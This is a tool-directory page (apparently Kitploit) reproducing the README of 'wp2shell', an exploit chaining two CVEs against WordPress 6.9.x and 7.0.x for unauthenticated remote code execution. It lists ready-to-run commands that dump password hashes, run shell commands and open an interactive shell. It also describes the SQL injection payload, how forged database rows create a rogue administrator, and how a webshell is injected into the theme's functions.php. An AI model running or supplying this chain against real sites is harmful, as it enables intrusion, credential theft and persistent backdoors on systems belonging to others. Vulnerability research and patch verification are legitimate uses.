Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
Tools/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungRed TeamingPayload-Entwicklung
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

247vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

wp2shell — CVE-2026-63030 + CVE-2026-60137

WordPress-RCE-Exploit-Kette. Nicht authentifiziert. CVSS 9.8.

Betroffene Versionen

BranchAnfälligGepatcht
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

Die Kette

Zwei CVEs, verkettet zu unauthentifizierter Remote-Code-Ausführung:

CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE
SchrittCVEVektor
1CVE-2026-63030REST /batch/v1 Index-Fehlausrichtung bringt Validierung und Dispatch aus dem Takt
2CVE-2026-60137author__not_in WP_Query-Parameter überspringt absint(), wenn er als String übergeben wird
3—UNION SELECT fälscht wp_posts-Zeilen; oEmbed → Customizer → wp_insert_user
4—Authentifizierung als der neu erstellte Administrator
5—Theme-Editor schleust eine token-geschützte Webshell in das aktive Theme ein

Schnellstart

# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Optionen

--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

Funktionsweise

Routenverwechslung (CVE-2026-63030)

Der Batch-Endpunkt von WordPress unter /?rest_route=/batch/v1 akzeptiert ein Array von Unteranfragen. Wenn eine Unteranfrage einen nicht parsebaren Pfad (///) hat, wird ein WP_Error zu $validation hinzugefügt, aber nicht zu $matches. Die Dispatch-Schleife paart dann Anfrage N mit Handler N+1 — sodass eine Anfrage, die gegen ein Schema validiert wurde, an einen anderen Handler dispatched wird.

Der Exploit sendet einen dreifach verschachtelten Batch, bei dem jede Ebene einen Desync-Primer an Position 0 verwendet, um die Indizes zu verschieben. Die innerste Anfrage — validiert als Einzelbeitrag-Element (GET /wp/v2/posts/999999) — landet auf dem Collection-Handler (posts->get_items()). Da das Element-Schema author_exclude nicht definiert, wird der Parameter unvalidiert durchgereicht.

SQL-Injection (CVE-2026-60137)

get_items() bildet author_exclude → author__not_in ab und übergibt es an WP_Query. Wenn author__not_in ein String ist (kein Array), wird der array_map('absint', …)-Block übersprungen. Der rohe String landet direkt in:

WHERE post_author NOT IN (<payload>)

Die Payload 0) UNION ALL SELECT …-- - schließt die NOT IN-Liste und hängt beliebiges SQL an.

UNION-Extraktion

WordPress 7.0.x wp_posts hat genau 23 Spalten. Durch das Injizieren einer gefälschten Zeile via UNION ALL SELECT mit orderby=none (unterdrückt das abschließende ORDER BY) und per_page=500 (hält WP_Query im Vollzeilen-Modus) wird der gefälschte Beitragstitel – der einen ||HEX||-Marker trägt – in der REST-Antwort reflektiert. Alle String-Werte verwenden MySQL-Hex-Literale (0x…), um Probleme mit der Quote-Escaping durch URL-Encoding zu vermeiden.

Pre-Auth-Admin-Erstellung

  1. UNION-fälsche einen Beitrag, der [embed]-Shortcodes enthält → WordPress erstellt 3 oembed_cache-Zeilen
  2. Lies die 3 Cache-Post-IDs via UNION-Extraktion zurück
  3. UNION-fälsche 7 strukturierte wp_posts-Zeilen, die eine Customizer-Changeset-Kette bilden
  4. Der [embed]-Shortcode wird gerendert und löst WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() aus
  5. Administrator wird mit einem zufälligen Benutzernamen (wp2_<random>) und Passwort (Wp2!<random>) erstellt

Webshell-Bereitstellung

Melde dich als der neue Admin an → extrahiere die Theme-Editor-Nonce → injiziere eine token-geschützte PHP-Webshell am Anfang der functions.php des aktiven Themes → greife über ?t=<token>&c=<command> darauf zu.

Voraussetzungen

  • Python 3.8 oder später
  • Das Ziel muss mindestens einen veröffentlichten Beitrag oder eine Seite haben (für das Seeding des oEmbed-Caches)

Einschränkungen

  • Docker-Loopback: Der Datei-Editor von WordPress führt vor dem Speichern eine wp_remote_post()-Loopback-Prüfung durch. Wenn der Container sich selbst nicht über den Hostnamen erreichen kann, wird die Theme-Bearbeitung blockiert. Verwende in diesen Fällen --dump-users + manuellen Login.
  • Keine veröffentlichten Beiträge: Das Seeding des oEmbed-Caches erfordert mindestens einen öffentlichen Permalink. Eine leere WordPress-Installation nach dem Setup enthält sowohl „Hello world!“ als auch „Sample Page“.
  • WAF / mod_security: Eine starke Anfragefilterung kann die verschachtelten Batch-Payloads blockieren. Teste zuerst mit --check.

Verifizierung

$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Haftungsausschluss

Dieses Tool dient ausschließlich autorisierter Sicherheitsforschung und Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Die Autoren übernehmen keine Haftung für Missbrauch.

Danksagungen

  • WPScan — CVE-Offenlegung (CVE-2026-63030, CVE-2026-60137)
  • NVD — CVE-Datenbank
Tool herunterladen